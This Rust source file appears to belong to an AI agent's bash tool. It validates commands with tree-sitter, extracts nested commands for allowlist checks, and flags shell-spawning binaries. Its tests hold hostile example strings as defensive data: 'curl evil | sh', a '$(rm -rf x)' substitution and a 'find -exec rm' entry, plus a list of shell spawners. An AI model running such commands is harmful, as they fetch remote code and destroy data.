1use std::borrow::Cow;
2
3use tree_sitter::{Node, Parser};
4
5use crate::errors::{Result, WinxError};
6
7fn neutralize_supplementary(command: &str) -> Cow<'_, str> {
21 if command.chars().any(|c| c as u32 >= 0x1_0000) {
22 Cow::Owned(
23 command.chars().map(|c| if c as u32 >= 0x1_0000 { '\u{FFFD}' } else { c }).collect(),
24 )
25 } else {
26 Cow::Borrowed(command)
27 }
28}
29
30pub fn assert_single_statement(command: &str, allow_shell_probe: bool) -> Result<()> {
39 let trimmed = command.trim();
40 if trimmed.is_empty() {
41 return Ok(());
42 }
43 if trimmed.contains('\0') {
44 return Err(WinxError::CommandExecutionError(
45 "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
46 ));
47 }
48
49 let parse_src = neutralize_supplementary(trimmed);
53
54 let mut parser = Parser::new();
55 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
56 parser.set_language(&language).map_err(|error| {
57 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
58 })?;
59
60 let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
61 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
62 })?;
63 let root = tree.root_node();
64
65 if root.has_error() && !rescued_by_shell_probe(trimmed, allow_shell_probe) {
66 return Err(WinxError::CommandExecutionError(
67 "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
68 ));
69 }
70
71 let statement_count = top_level_statement_count(parse_src.as_ref(), root);
73
74 if statement_count > 1 && !trimmed.contains('\n') {
75 return Err(WinxError::CommandExecutionError(
76 "Command should contain a single top-level bash statement. For deliberate scripts, split statements across lines or set allow_multi=true.".to_string(),
77 ));
78 }
79
80 Ok(())
81}
82
83fn rescued_by_shell_probe(command: &str, allow_shell_probe: bool) -> bool {
89 allow_shell_probe && bash_accepts_syntax(command)
90}
91
92fn bash_accepts_syntax(command: &str) -> bool {
93 std::process::Command::new("bash")
94 .arg("-n")
95 .arg("-c")
96 .arg(command)
97 .status()
98 .is_ok_and(|status| status.success())
99}
100
101#[derive(Debug, Clone)]
102struct StatementNode {
103 kind: String,
104 start_byte: usize,
105 end_byte: usize,
106}
107
108fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
109 let mut statements = Vec::new();
110 collect_statement_nodes(root, &mut statements);
111
112 statements
113 .iter()
114 .filter(|stmt| stmt.kind != "comment")
115 .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
116 .count()
117}
118
119fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
120 if is_statement_node(node.kind()) {
121 statements.push(StatementNode {
122 kind: node.kind().to_string(),
123 start_byte: node.start_byte(),
124 end_byte: node.end_byte(),
125 });
126 }
127
128 for index in 0..node.named_child_count() as u32 {
129 if let Some(child) = node.named_child(index) {
130 collect_statement_nodes(child, statements);
131 }
132 }
133}
134
135fn is_statement_node(kind: &str) -> bool {
136 matches!(
137 kind,
138 "command"
139 | "variable_assignment"
140 | "declaration_command"
141 | "unset_command"
142 | "comment"
143 | "for_statement"
144 | "c_style_for_statement"
145 | "while_statement"
146 | "if_statement"
147 | "case_statement"
148 | "function_definition"
149 | "pipeline"
150 | "list"
151 | "compound_statement"
152 | "subshell"
153 | "redirected_statement"
154 )
155}
156
157fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
158 if stmt.start_byte == other.start_byte
159 && stmt.end_byte == other.end_byte
160 && stmt.kind == other.kind
161 {
162 return false;
163 }
164
165 let other_text = &source[other.start_byte..other.end_byte];
166 if other.kind == "list" && other_text.contains(';') {
167 return false;
168 }
169
170 other.start_byte <= stmt.start_byte
171 && other.end_byte >= stmt.end_byte
172 && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
173 && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
174}
175
176pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
188 let trimmed = command.trim();
189 if trimmed.is_empty() {
190 return Ok(Vec::new());
191 }
192 if trimmed.contains('\0') {
193 return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
194 }
195
196 let parse_src = neutralize_supplementary(trimmed);
201
202 let mut parser = Parser::new();
203 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
204 parser.set_language(&language).map_err(|error| {
205 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
206 })?;
207
208 let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
209 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
210 })?;
211 let root = tree.root_node();
212 if root.has_error() {
213 return Err(WinxError::CommandExecutionError(
214 "Command could not be parsed for allowlist enforcement.".to_string(),
215 ));
216 }
217
218 let mut texts = Vec::new();
219 collect_command_texts(root, parse_src.as_ref().as_bytes(), &mut texts);
220 Ok(texts)
221}
222
223fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
224 if node.kind() == "command" {
225 if let Ok(text) = node.utf8_text(src) {
226 out.push(text.to_string());
227 }
228 }
229 let mut cursor = node.walk();
230 for child in node.children(&mut cursor) {
231 collect_command_texts(child, src, out);
232 }
233}
234
235pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
243 "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
244 "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
245 "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
246];
247
248pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
255 let mut hits: Vec<String> = allowed
256 .iter()
257 .filter_map(|entry| {
258 let first = entry.split_whitespace().next()?;
259 let base = std::path::Path::new(first).file_name()?.to_str()?;
260 SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
261 })
262 .collect();
263 hits.sort();
264 hits.dedup();
265 hits
266}
267
268#[cfg(test)]
269mod tests {
270 use super::assert_single_statement;
271 use super::detect_allowlist_bypass;
272 use super::extract_command_texts;
273 use proptest::prelude::*;
274
275 proptest! {
276 #[test]
280 fn assert_single_statement_never_panics(cmd in "[\\s\\S]{0,80}") {
281 let _ = assert_single_statement(&cmd, false);
282 let _ = assert_single_statement(&cmd, true);
283 }
284
285 #[test]
286 fn extract_command_texts_never_panics(cmd in "[\\s\\S]{0,80}") {
287 let _ = extract_command_texts(&cmd);
288 }
289 }
290
291 #[test]
292 fn supplementary_plane_input_does_not_segfault_the_parser() {
293 for c in ['\u{10FFFF}', '\u{4E980}', '\u{1F574}', '\u{100000}'] {
299 for _ in 0..40 {
300 let cmd = format!("{{{c}");
301 let _ = assert_single_statement(&cmd, false);
302 let _ = extract_command_texts(&cmd);
303 }
304 }
305 }
306
307 #[test]
308 fn emoji_command_still_validates_as_single_statement() {
309 assert!(assert_single_statement("git commit -m \"\u{1F680} ship it\"", false).is_ok());
312 }
313
314 #[test]
315 fn extracts_nested_commands_for_allowlist() {
316 let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
318 assert!(names.iter().any(|c| c.starts_with("ls")));
319 assert!(names.iter().any(|c| c.starts_with("curl")));
320 assert!(names.iter().any(|c| c.starts_with("sh")));
321
322 let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
323 assert!(subst.iter().any(|c| c.starts_with("rm")));
324 }
325
326 #[test]
327 fn accepts_shell_chains_as_single_statement() {
328 assert!(assert_single_statement("cargo test && cargo clippy", true).is_ok());
329 }
330
331 #[test]
332 fn accepts_heredocs_as_single_statement() {
333 let command = "cat <<'EOF'\nhello\nEOF";
334 assert!(assert_single_statement(command, true).is_ok());
335 }
336
337 #[test]
338 fn accepts_for_loop_as_single_compound_statement() {
339 assert!(
340 assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done", true).is_ok()
341 );
342 }
343
344 #[test]
345 fn rejects_semicolon_separated_top_level_statements() {
346 assert!(assert_single_statement("pwd; ls", true).is_err());
347 }
348
349 #[test]
350 fn accepts_multiline_scripts() {
351 assert!(assert_single_statement("pwd\nls", true).is_ok());
352 }
353
354 #[test]
355 fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
356 let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
357 assert!(assert_single_statement(command, true).is_ok());
358 }
359
360 #[test]
361 fn shell_probe_is_gated_to_trusted_mode() {
362 use super::rescued_by_shell_probe;
363 assert!(rescued_by_shell_probe("echo hi", true));
369 assert!(!rescued_by_shell_probe("echo hi", false));
372 assert!(!rescued_by_shell_probe("echo )(", true));
374 }
375
376 #[test]
377 fn detect_allowlist_bypass_flags_shell_spawners() {
378 let allowed = vec![
379 "ls".to_string(),
380 "bash".to_string(),
381 "cat -n".to_string(),
382 "find . -exec rm {} +".to_string(),
383 ];
384 assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
385 }
386
387 #[test]
388 fn detect_allowlist_bypass_clean_list_is_empty() {
389 let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
390 assert!(detect_allowlist_bypass(&allowed).is_empty());
391 }
392
393 #[test]
394 fn detect_allowlist_bypass_matches_basename_of_path() {
395 let allowed = vec!["/usr/bin/env python".to_string()];
396 assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
397 }
398
399 #[test]
400 fn rejects_nul_with_actionable_message() {
401 let error = match assert_single_statement("printf '\0'", true) {
402 Ok(()) => String::new(),
403 Err(error) => error.to_string(),
404 };
405 assert!(error.contains("NUL byte"));
406 assert!(error.contains("\\\\x00"));
407 }
408}